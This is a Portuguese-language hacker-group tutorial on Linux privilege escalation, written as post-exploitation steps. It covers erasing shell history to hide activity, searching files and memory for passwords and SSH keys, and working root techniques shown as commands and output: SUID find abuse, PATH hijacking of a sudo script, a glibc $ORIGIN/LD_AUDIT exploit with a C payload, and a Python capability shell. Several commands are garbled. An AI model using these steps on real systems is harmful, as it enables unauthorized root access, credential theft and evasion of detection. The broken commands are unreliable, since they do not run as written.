,----------------, ,---------, ,-----------------------, ," ,"| ," ,"| ," ," | +-----------------------+ | ," ," | | .-----------------. | | +---------+ | | | | | | | -==----'| | | | h4rry Presents | | | | | | | | Linux Privesc | | |/----|`---= | | | | root@7k > | | | ,/|==== ooo | ; | | | | | // |(((( [33]| ," | `-----------------' |," .;'| |(((( | ," +-----------------------+ ;; | | |," - irc.efnet.org | g0t r00t!? /_)______________(_/ //' | +---------+ ___________________________/___ `, / oooooooooooooooo .o. oooo /, \,"----------- / ==ooooooooooooooo==.o. ooo= // ,`\--{)B ," /_==__==========__==_ooo__ooo=_/' /___________," `-----------------------------' [ Linux Privilege Escalation / LPE ] [*] Começando uma pós-exploração é importante não sobreescrever nenhum log no histórico do bash então começamos com... ninja@7k > unset HISTFILE HISTSIZE # CASO ESTIVERMOS TRABALHANDO COM O zsh ninja@7k > set history=0 # CASO ESTIVERMOS TRABALHANDO COM O tcsh ninja@7k > set -o history # CASO ESTIVERMOS TRABALHANDO COM O bash ninja@7k > unset HISTFILE # CASO ESTIVERMOS TRABALHANDO COM O ksh [*] Logo após, é interresante termos em mente informações do sistema operacional como, versão do kernel / OS... ninja@7k > cat /etc/*release* | head -n1 NAME="Arch Linux" ninja@7k > uname -snrvmpi [#] -snrvmpi porque eu e meus manos odiamos a porra do GNU, pau no cu do Stallman! Linux ninja 6.0.2-arch1-1 #1 SMP PREEMPT_DYNAMIC Sat, 15 Oct 2022 14:00:49 +0000 x86_64 unknown unknown (HORA DE GOOGLAR) Neste exato momento é interresante pesquisar por vulnerabilidades presentes na versão do kernel presente na maquina! [*] É importante analisar os processos rodando na maquina para entender o ambiente que estamos trabalhando e suas permições para isso utilizamos o comando: ninja@7k > ps -aux [*] Filtre por processos de usuarios na maquina! ninja@7k > ps -ef | grep "nome do usuário" [*] Faça uma busca por binarios que rodem com permissões específica! ninja@7k > find / -perm -4000 2>/dev/null ninja@7k > find / -perm -u=s -type 2>/dev/null [*] Liste os privilégios do usuário no ambiente! # Como isso é algo gerenciado pelo sudo, caso o ambiente não tenha sudo você se depara com um erro. ninja@7k > sudo -l User ninja may run the following commands on 7k: (ALL) ALL [*] Procurando por passwords: ninja@7k > grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null ninja@7k > find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \; [*] Analisando o arquivo que contem senhas antigas: ninja@7k > cat /etc/security/opasswd [*] Procurando por arquivos editados recentemente: ninja@7k > find / -mmin -30 2>/dev/null | grep -Ev "^/proc" [*] Senhas na memória: ninja@7k > strings /dev/mem -n10 | grep -i PASS [*] Buscando por SSH Keys: ninja@7k > find / -name authorized_keys 2> /dev/null ninja@7k > find / -name id_rsa 2> /dev/null [*] Listar arquivos por usuarios: ninja@7k > grep "user" / -R 2>/dev/null [ SUID & SGID ] O que é SUID? SUID é basicamente uma permissão de su (superuser) para arquivos, permite com que um programa seja executado com permissões de acesso do usuário logado, o SUID também é definido para dar permissões temporárias para um usuário por exemplo, executar um binário ou arquivo com as permissões do dono/proprietário do arquivo (geralmente perm root)... O que é SGID? É o tipo especial de permissões aplicado a arquivos ou pastas. Normalmente, quando um programa é executado, ele herda permissões de acesso do usuário logado atualmente. Qual é a diferença entre Setuid e Setgid no Linux? Quando um processo é executado como um programa setuid, o processo é executado como o superusuário (root) em vez do usuário normal. Isso permite que o processo tenha mais acesso aos recursos do sistema e dificulta o controle do processo por outros usuários. Quando um processo é executado como um programa setgid, o processo é executado como o usuário normal, e as permissões do processo são definidas como as mesmas que as permissões do usuário. Isso permite que outros usuários controlem o processo sem precisar alterar suas permissões. [#] Portanto, fique atento ao exemplo abaixo como utilizamos do binário para alcançarmos o root... ninja@7k > find / -perm /4000 2>/dev/null #findsuid /usr/bin/find /bin/mount /bin/ntfs-3g /bin/fusermount /bin/ping /bin/su /bin/umount /bin/ping6 /usr/bin/newgrp /usr/bin/chfn /usr/bin/passwd /usr/bin/newuidmap /usr/bin/newgidmap /usr/bin/chsh /usr/bin/gpasswd /usr/bin/at /usr/bin/sudo /usr/lib/openssh/ssh-keysign /usr/lib/snapd/snap-confine /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic [#] Neste ambiente é presente o find, e graças a ele alcançamos o root! ninja@7k > find . -exec /bin/sh -p \; -quit root@7k > whoami root [ PATH HIJACKING ] Introduction → PATH é uma variável de ambiente em sistemas operacionais Linux e Unix que especifica que todos os diretórios bin e sbin que contêm todos os programas executáveis são armazenados. Quando o usuário executa qualquer comando no terminal, ele solicita ao shell que procure arquivos executáveis com a ajuda da variável PATH em resposta aos comandos executados por um usuário. O superusuário (su) geralmente também possui as entradas /sbin e /usr/sbin para executar facilmente os comandos de administração do sistema. [+] Dito isso → No exemplo dado a abaixo, entendemos que nesta maquina havia a presença de um script rodando como root com NOPASSWD... ninja@7k > sudo -l User ninja may run the following commands on 7k: (root) SETNV: NOPASSWD: /opt/cleanup.sh ( !APRESENTAREI 2 CAMINHOS PARA ALCANÇARMOS O ROOT! ) 1° Técnica [#] Rodando um Cat no script para a identificação... ninja@7k > cat /opt/cleanup.sh #!/bin/bash . /opt/.bashrc cd /home/ninja/7k # clean up log files if [ -s log/exemplo.log ] && ! [ -L log/exemplo.log ] then /bin/cat log/exemplo.log > log/exemplo.log.old /usr/bin/truncate -s0 log/exemplo.log fi # protect the priceless originals find source_images -type f -name '*.jpg' -exec chown root:root {} \; ninja@7k > echo '#!/bin/bash' > /diretorio-no-qual-deseja-escrever-o-xpl/nome-da-função // OBS: > ESCREVE NA PRIMEIRA LINHA ninja@7k > echo 'chmod +s /bin/bash' >> /diretorio-no-qual-deseja-escrever-o-xpl/nome-da-função // OBS: >> ESCREVE NA SEGUNDA LINHA ( caso tivesse que escrever alguma coisa na linha 3 seria >>> ) ninja@7k > chmod +x /diretorio-no-qual-esta-o-xpl/nome-da-função // OBS: (Concedendo permissão de execução ao exploit) ninja@7k > cat /diretorio-no-qual-esta-o-xpl/nome-da-função #!/bin/bash chmod +s /bin/bash ninja@7k > sudo PATH=/diretorio-no-qual-esta-o-xpl/:$PATH blablabla/blabla.sh Como o script cleanup.sh está definido com NOPASSWD, ele não irá solicitar senha quando executado e como está com permissão de sudo... ninja@7k > bash -p && #ROOT X) 2° Técnica ninja@7k > sudo -l User ninja may run the following commands on 7k (root) SETNV: NOPASSWD: /opt/cleanup.sh [#] Rodando um cat no script para a identificação... ninja@7k > cat /opt/cleanup.sh #!/bin/bash . /opt/.bashrc cd /home/ninja/7k # clean up log files if [ -s log/examplo.log ] && ! [ -L log/exemplo.log ] then /bin/cat log/examplo.log > log/exemplo.log.old /usr/bin/truncate -s0 log/exemplo.log fi # protect the priceless originals find source_images -type f -name '*.jpg' -exec chown root:root {} \; [#] A melhor forma de conseguir root nesse caso é alterando o path da função find presente no final do script... ninja@7k > touch find; echo > /bin/bash > find [#] Logo após a criação do find, concedemos a permissão de execução a ele... ninja@7k > chmod +x find [#] E então adicionaremos a Home do user para Path... ninja@7k > sudo $PATH=$PWD:$PATH /opt/cleanup.sh ninja@7k > ./find; whoami root root@7k > echo "you've learned" [ ORIGIN Expansion ] Introduction → Origin Expansion é uma tecnica criada por tarviso mas ai você se pergunta... O que é o ORIGIN? $ORIGIN é uma sequência de substituição ELF que representa a localização do executável sendo carregado na hierarquia do sistema de arquivos(filesystem). A intenção é permitir executáveis para especificar um caminho de pesquisa para bibliotecas que seja relativo a suas localizações, para simplificar o empacotamento sem spam nos caminhos de pesquisa padrão com bibliotecas de uso único. O formato ELF sugere que $ORIGIN seja ignorado pelo SUID e SGID, ou seja como a especificação é ignorada é possível que o usuário manipule os valores de SUID e SGID. [#] Checkando se a versão é vulnerável... ninja@7k > ldd --version ldd (CentOS GLIBC 2.5-0CentOS5) 2.5 Copyright (C) 2010 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Written by Roland McGrath and Ulrich Drepper. [#] Easy, neste caso o ambiente está vulnerável! [#] É possível explorar essa falha para executar código arbitrário como root, segue a exploração ↓ [#] Crie um diretório que temos controle dentro de /tmp... ninja@7k > mkdir /tmp/exploit [#] Linkando para um binário suid, alterando assim a definição de $ORIGIN (no caso a origem). ln /bin/ping /tmp/exploit/alvo lr-x------ 1 ninja ninja 64 Dec 19 16:03 /proc/10836/fd/3 -> /tmp/exploit/alvo* [#] Removendo o diretório criado anteriormente... ninja@7k > rm -rf /tmp/exploit/ OBS → O link /proc ainda existe, mas agora será interpretado como excluído. lr-x------ 1 ninja ninja 64 Dec 19 16:05 /proc/10836/fd/3 -> /tmp/exploit/alvo (deleted) [#] Substitua o diretório por um DSO de carga útil, tornando $ORIGIN um destino válido para dlopen(). ninja@7k > cat > payload.c void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); } ^D ninja@7k > gcc -w -fPIC -shared -o /tmp/exploit payload.c ninja@7k > ls -l /tmp/exploit -rwxrwx--- 1 ninja ninja 4.2K Oct 15 09:22 /tmp/exploit* [#] Agora force o link em /proc para carregar $ORIGIN via LD_AUDIT. ninja@7k > LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 ninja@7k > whoami root ninja@7k > id uid=0(root) gid=500(ninja) PoC → https://www.exploit-db.com/exploits/15274 [ Linux Capabilities ] Introduction → Os Capabilities são recursos do Linux que nos permitem dividir as permissões em pequenas unidades. Com os Capabilities podemos definir a execução de tarefas determinadas com privilégios elevados (root). [#] Binários com Capabilities podem ser encontrados usando o seguinte comando: ninja@7k > getcap / -r 2>/dev/null usr/bin/python3.1 = cap_setuid+ep [#] No ambiente acima, podemos ver que o interpretador python pode definir arbitrariamente o ID do usuário do processo. [#] Isso significa que podemos alterar nosso ID de usuário para 0 ao executar o python, assim escalando privilégio a root! [#] Neste ambiente vemos a presença do Python e com ele iremos spawnar uma shell com root. ninja@7k > python3.1 -c 'import os; os.setuid(0); os.system("/bin/bash -i")' [#]Lista de todos os Capabilities possíveis podem ser encontradas no anexo abaixo ↓ https://man7.org/linux/man-pages/man7/capabilities.7.html [ Unix Domain Sockets ] Introduction → Um Unix Domain Socket permite a comunicação entre dois processos diferentes na mesma máquina ou em máquinas diferentes em estruturas de aplicativos cliente-servidor. É uma maneira de se comunicar entre computadores usando um arquivo de descritores Unix padrão. [#] Bom senhores, eu infelizmente só irei introduzir Unix Domain Sockets por ser algo muito extenso... [#] Para maior compreensão deixarei referencias de leitura, segue o anexo ↓ https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-Ke-Unix-Domain-Socket-A-Hidden-Door.pdf https://youtu.be/Zi7FKB2AU58 Então é isto, venho despedir-me obrigado pela leitura! "Que ele se lembre de todas as tuas ofertas, e aprecie o teu holocausto!" - Salmos 20:3 G0T R00T! <3 <3 <3 made by h4rry for Templo7k :)